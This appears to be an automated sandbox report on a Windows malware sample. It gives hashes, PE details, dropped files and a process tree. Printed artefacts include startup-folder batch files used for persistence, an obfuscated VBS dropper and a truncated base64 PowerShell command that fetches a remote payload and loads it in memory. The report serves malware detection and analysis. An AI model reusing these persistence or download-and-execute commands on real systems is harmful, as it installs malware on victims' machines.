File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	515028
Entropy (8bit):	3.740796132518701
Encrypted:	false
SSDEEP:	12288:ElKHt8mQeE9b9xefCRexf049pZBJN7ZnU5AuK337QpGAgHigiHETJc:xZxDEqql
MD5:	9925D6B112CC586B4C53B9EC22AC9EE3
SHA1:	D3A6302D2D70999036849A9CF046EE868BA78427
SHA-256:	C7D27223D3EEB698EEEA7EAC9681158F66C0091F5FC2E8EC95C979F324227373
SHA-512:	271479F0A7B313E734CC06C26932E101B75BCC4DD0BB7C1344B0E7A888BF1D8D67289639471EB27ED643807820ECB98C621D319D35C31E8C25BA475D2056997D
Malicious:	true
Preview:	..........m.i.U.H.Z.l.u.t.k.m.N.R.q.L.K.Z.o.m.c.K.m.p.o.c.L.l.o.e.L.c.O.W.p.k.k.W.W.m.J.k.h.P.G.Z.h.L.W.a.W.k.A.G.f.k.P.k.k.u.o.L.Z.c.L.N.W.k.i.t. .=. .".G.l.U.i.K.q.W.U.W.G.e.K.K.W.k.b.W.K.W.W.I.A.e.U.R.O.a.q.P.G.O.a.p.t.W.W.Z.n.G.K.h.b.u.i.W.O.c.L.W.l.e.c.c.L.Z.W.B.l.i.b.i.L.U.k.c.l.k.Z.".....u.O.G.A.f.K.q.c.q.k.e.z.v.L.G.B.p.L.n.z.c.U.K.s.i.G.N.G.G.u.G.g.P.g.G.W.u.K.x.d.n.i.C.N.z.L.i.N.U.p.W.K.o.L.I.f.O.k.k.G.O.i.W.L.L.z.p.a. .=. .".W.K.c.K.U.f.B.z.L.P.q.t.j.b.T.W.W.q.u.O.l.u.Z.q.W.H.G.L.i.O.W.L.l.u.p.c.P.W.L.L.b.U.c.K.H.i.f.b.s.W.B.J.k.B.U.S.f.W.c.G.G.a.N.W.L.e.K.P.".....i.p.L.O.K.N.c.o.W.p.i.H.z.c.Z.h.k.s.L.n.e.W.W.K.l.G.L.z.B.U.W.b.i.p.k.b.k.N.o.m.K.G.h.c.c.k.q.A.c.x.K.u.z.m.d.f.Q.L.e.I.e.L.u.K.a.j.L.G. .=. .".u.j.h.U.G.L.o.c.N.f.n.k.A.N.i.L.d.t.G.v.f.L.o.z.l.I.o.m.N.U.q.g.h.G.U.n.q.k.J.L.q.p.L.p.R.W.h.L.L.i.s.t.U.W.i.C.f.L.o.W.i.U.U.l.T.L.g.R.".....N.K.p.W.m.d.H.i.m.n.C.h.K.o.K.R.Z.b.v.L.A.z.Z.L.j.W.p.z.R.K.m.L.L.O.W.d.n.G.L.C.U.S.k.o.L.p.z.i.U.B.L.c.G.l.e.P.z.b.v.Z.J.f.C.g.B.x.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_32.bat

Download File

Process:	C:\Users\user\Desktop\TM3utH2CsU.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	101
Entropy (8bit):	4.805987101989762
Encrypted:	false
SSDEEP:	3:mKDD3EfNaHF5hdCl+0JJ2uOaHF5hdCl+sVQXbHP:h7E1aH9dCHJJ2NaH9dCYrHP
MD5:	971AA08582D7C0644E960F87C60F70CF
SHA1:	A76D3CE4D13003F94143AC3EC67BAC34B8ED240F
SHA-256:	CE2BED313E2AB08A6CB55BD0FB57052126711203710D3080DC0FE84999045E90
SHA-512:	F71AD21A1EA9F479D0EABFF6EDD0DCB839474E9DE8DC6949B91AE1834C52A5F4B9B1186F892C6B1AD69A93FD4AFC2383A675A48A76EF688FF824993E7639D993
Malicious:	true
Preview:	@echo off.cd /d "C:\Users\Public\Documents\32".call "C:\Users\Public\Documents\32\pure_hnvc.bat".exit

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_pow.bat

Download File

Process:	C:\Users\user\Desktop\TM3utH2CsU.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	104
Entropy (8bit):	4.738801646732317
Encrypted:	false
SSDEEP:	3:mKDD3EfNaHF5hdCl+XbWuOaHF5hdCl+8IzuAop:h7E1aH9dCyWNaH9dCGKAop
MD5:	C9EE11D6E42DF0E06FF5BDDD21AEEF0E
SHA1:	861537976E5A1A893EBD4D0A8117A95F347C7EBA
SHA-256:	675550F5A8D9C4543975BA115791D40F5B90ABD263107F791453DBAC6CA52668
SHA-512:	8842E6AFE94CC7A95A45EB1AF76E62267DD3A1DFCDCB6D6768C8D946F701F44304BA6C83DCE45138A7DDE4A79516660B5CFA1C2C5F5479D3E27277FAD16CB852
Malicious:	true
Preview:	@echo off.cd /d "C:\Users\Public\Documents\pow".call "C:\Users\Public\Documents\pow\wm_startup.bat".exit

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_sys.bat

Download File

Process:	C:\Users\user\Desktop\TM3utH2CsU.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.71772219318796
Encrypted:	false
SSDEEP:	3:mKDD3EfNaHF5hdCl+hgJ2uOaHF5hdCl+I6THP:h7E1aH9dCKM2NaH9dC2THP
MD5:	02497B77D1091A025D9D8F838618C5EC
SHA1:	75A2485B0489D88CE47DB991BFC6D767FF748172
SHA-256:	10F9619DB462C25C63928F040F84698BB439CFD12BCCC0EBFC9631C13FD8E0D7
SHA-512:	83473F1B5AB33B1BD90CF0680F84ED7095F99921115AC2AB781DB225E9F82BF1C5D0CCDDAC437D5A5657AD4705A34229EC9CB8A1B0C8D4687570ABFEB3A8BA0C
Malicious:	true
Preview:	@echo off.cd /d "C:\Users\Public\Documents\sys".call "C:\Users\Public\Documents\sys\pure_hnvc.bat".exit

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.197720446671199
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	TM3utH2CsU.exe
File size:	2'348'312 bytes
MD5:	2b39077634e7172489d66ed8e66ae63a
SHA1:	600467d0e3eadb245e451930dee698d1fc37ca23
SHA256:	3658f44acb4d331fa89ab43d782bee2a97a48b2f425cad29939ee472c74bc62f
SHA512:	56a9431edccdd5a3d3b80080880933fd3d269a2ca4c6b23040b9c07b24562827e61350ec358c5d348cda7b6b2dade9c8c0971b955bf5d4142d931bff7e78ad0f
SSDEEP:	49152:d9tR0P0lj0UcVJhxFNj9YJZ5UecgNAWXvR2FC:VXTvOgZM0
TLSH:	13B54B12F74149EAC469C17482469732BAB1B84D0734BBDF1BD48A323E56FD16F3C6A8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.R./.../.../..F].../..F].../..F].../......./......./......./..RZ.../..F].../.../..j/......./.../..r/....s../......./..Rich./.

File Icon


Icon Hash:	357561d6dad24d55

Static PE Info

General

Entrypoint:	0x14014fb68
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F106C8 [Mon Sep 23 06:12:24 2024 UTC]
TLS Callbacks:	0x40136490, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	5d3da2bd2cc29f4b0794a2c94a699c9d

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=Certum Extended Validation Code Signing 2021 CA, O=Asseco Data Systems S.A., C=PL
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	13/09/2024 13:25:00 13/09/2025 13:24:59
Subject Chain	CN="Guangdong Kenuosi IoT Network Technology Co., Ltd.", O="Guangdong Kenuosi IoT Network Technology Co., Ltd.", L=Dongguan, S=Guangdong, C=CN, SERIALNUMBER=91441900MA54J07X80, OID.1.3.6.1.4.1.311.60.2.1.1=Dongguan, OID.1.3.6.1.4.1.311.60.2.1.2=Guangdong, OID.1.3.6.1.4.1.311.60.2.1.3=CN, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	79FE43166E2E2369A1B401BB93282D31
Thumbprint SHA-1:	8939F7E15BAAD7662495E6DCCFC1D320F25F7558
Thumbprint SHA-256:	381F86A2CF7BF08BBAAE5BCB1AFF881103460697B385BC93FFBBA8AAF2FFD3E2
Serial:	6116881CBADD579E680B600873B3A8E3

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F90351C1A00h
dec eax
add esp, 28h
jmp 00007F90351C1247h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
nop word ptr [eax+eax+00000000h]
dec eax
sub esp, 10h
dec esp
mov dword ptr [esp], edx
dec esp
mov dword ptr [esp+08h], ebx
dec ebp
xor ebx, ebx
dec esp
lea edx, dword ptr [esp+18h]
dec esp
sub edx, eax
dec ebp
cmovb edx, ebx
dec esp
mov ebx, dword ptr [00000010h]
dec ebp
cmp edx, ebx
jnc 00007F90351C13E8h
inc cx
and edx, 8D4DF000h
wait
add al, dh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x21b5ec	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x22d000	0xc4f8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x223000	0x9738	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x23ac00	0x2918	.reloc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x23a000	0x4c3c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x212860	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x212a80	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x212720	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x16c000	0x5c8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x16a8c0	0x16aa00	e5dd69073209e54982e5250ed71f175a	False	0.48192029688038607	data	6.2685137698935485	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x16c000	0xb0a86	0xb0c00	fb2cb01154070fbe73f07aeb753458be	False	0.33911443599717117	data	5.240514913478381	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x21d000	0x5900	0x4600	0f7748ba356f5c06462c32da0455c2b2	False	0.26010044642857144	data	3.1232061749104605	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x223000	0x9738	0x9800	185e728e776c787d868369e5781a2a75	False	0.5126439144736842	data	5.994892359378369	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x22d000	0xc4f8	0xc600	cfc7abbee70af9857cccbed7d2a7c6a3	False	0.23368450126262627	data	4.491215593239789	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x23a000	0x4c3c	0x4e00	6e6bbff894847e643b4fa77738ab2cf2	False	0.43083934294871795	data	5.424401520464055	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x22d418	0x18de	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9696826892868363
RT_ICON	0x22ecf8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.08974964572508266
RT_ICON	0x232f20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.12935684647302906
RT_ICON	0x2354c8	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6720	English	United States	0.16553254437869822
RT_ICON	0x236f30	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.21106941838649157
RT_ICON	0x237fd8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.29508196721311475
RT_ICON	0x238960	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.33313953488372094
RT_ICON	0x239018	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.4592198581560284
RT_GROUP_ICON	0x239480	0x76	data	English	United States	0.7457627118644068
RT_VERSION	0x22d240	0x1d4	data	English	United States	0.49786324786324787

Imports

DLL	Import
bcryptprimitives.dll	ProcessPrng
api-ms-win-core-synch-l1-2-0.dll	WakeByAddressAll, WakeByAddressSingle, WaitOnAddress
ADVAPI32.dll	RegOpenKeyExW, RegQueryValueExW, RegCloseKey
KERNEL32.dll	GetCurrentThreadId, IsProcessorFeaturePresent, SetUnhandledExceptionFilter, InitializeSListHead, CloseHandle, GetSystemTimeAsFileTime, QueryPerformanceCounter, QueryPerformanceFrequency, GetCurrentProcess, DuplicateHandle, SetHandleInformation, PostQueuedCompletionStatus, CreateIoCompletionPort, GetQueuedCompletionStatusEx, ReadFile, GetOverlappedResult, WriteFile, SetFileCompletionNotificationModes, Sleep, GetModuleHandleA, GetProcAddress, FreeEnvironmentStringsW, DeleteProcThreadAttributeList, CompareStringOrdinal, GetLastError, AddVectoredExceptionHandler, SetThreadStackGuarantee, GetCurrentThread, SwitchToThread, CreateWaitableTimerExW, SetWaitableTimer, WaitForSingleObject, GetSystemInfo, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, SetLastError, GetCurrentDirectoryW, GetEnvironmentStringsW, GetEnvironmentVariableW, GetCommandLineW, FlushFileBuffers, SetFileInformationByHandle, SetFilePointerEx, GetStdHandle, GetCurrentProcessId, WriteFileEx, SleepEx, GetExitCodeProcess, TerminateProcess, HeapFree, HeapReAlloc, lstrlenW, ReleaseMutex, GetProcessHeap, HeapAlloc, FindNextFileW, FindClose, CreateFileW, GetFileInformationByHandle, GetFileInformationByHandleEx, CreateDirectoryW, FindFirstFileW, GetFinalPathNameByHandleW, CreateEventW, CancelIo, GetConsoleMode, GetFileType, GetModuleHandleW, FormatMessageW, GetModuleFileNameW, SetEnvironmentVariableW, ExitProcess, CreateNamedPipeW, ReadFileEx, WaitForMultipleObjects, GetFullPathNameW, GetSystemDirectoryW, GetWindowsDirectoryW, CreateProcessW, GetFileAttributesW, InitializeProcThreadAttributeList, UpdateProcThreadAttribute, MultiByteToWideChar, WriteConsoleW, WideCharToMultiByte, CreateThread, WaitForSingleObjectEx, LoadLibraryA, CreateMutexA, IsDebuggerPresent, GetConsoleOutputCP, GetStartupInfoW, HeapSize, LCMapStringW, CompareStringW, FlsFree, FlsSetValue, FlsGetValue, FlsAlloc, GetStringTypeW, SetStdHandle, GetCPInfo, GetOEMCP, GetACP, IsValidCodePage, FindFirstFileExW, GetCommandLineA, GetModuleHandleExW, RtlPcToFileHeader, LoadLibraryExW, FreeLibrary, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, RaiseException, EncodePointer, RtlUnwindEx, UnhandledExceptionFilter
secur32.dll	ApplyControlToken, FreeCredentialsHandle, AcquireCredentialsHandleA, QueryContextAttributesW, DecryptMessage, InitializeSecurityContextW, FreeContextBuffer, AcceptSecurityContext, EncryptMessage, DeleteSecurityContext
ws2_32.dll	WSASocketW, getsockname, getpeername, WSACleanup, WSAStartup, getaddrinfo, freeaddrinfo, bind, WSAGetLastError, WSAIoctl, setsockopt, WSASend, send, recv, shutdown, getsockopt, ioctlsocket, connect, closesocket
crypt32.dll	CertAddCertificateContextToStore, CertEnumCertificatesInStore, CertGetCertificateChain, CertVerifyCertificateChainPolicy, CertFreeCertificateContext, CertDuplicateCertificateContext, CertDuplicateStore, CertOpenStore, CertDuplicateCertificateChain, CertFreeCertificateChain, CertCloseStore
ntdll.dll	NtWriteFile, RtlNtStatusToDosError, NtDeviceIoControlFile, NtReadFile, NtCreateFile, NtCancelIoFileEx

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Target ID:	0
Start time:	06:36:17
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\TM3utH2CsU.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\TM3utH2CsU.exe"
Imagebase:	0x7ff6819e0000
File size:	2'348'312 bytes
MD5 hash:	2B39077634E7172489D66ED8E66AE63A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:36:20
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /C start C:\Users\Public\Documents\privacy_policy.pdf
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:36:20
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:36:20
Start date:	25/09/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\Public\Documents\privacy_policy.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	06:36:21
Start date:	25/09/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	06:36:21
Start date:	25/09/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1724,i,13391688068409325489,10583059356098987935,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	06:36:34
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat""
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:36:34
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:36:34
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"
Imagebase:	0x7ff6fbbe0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:36:34
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOc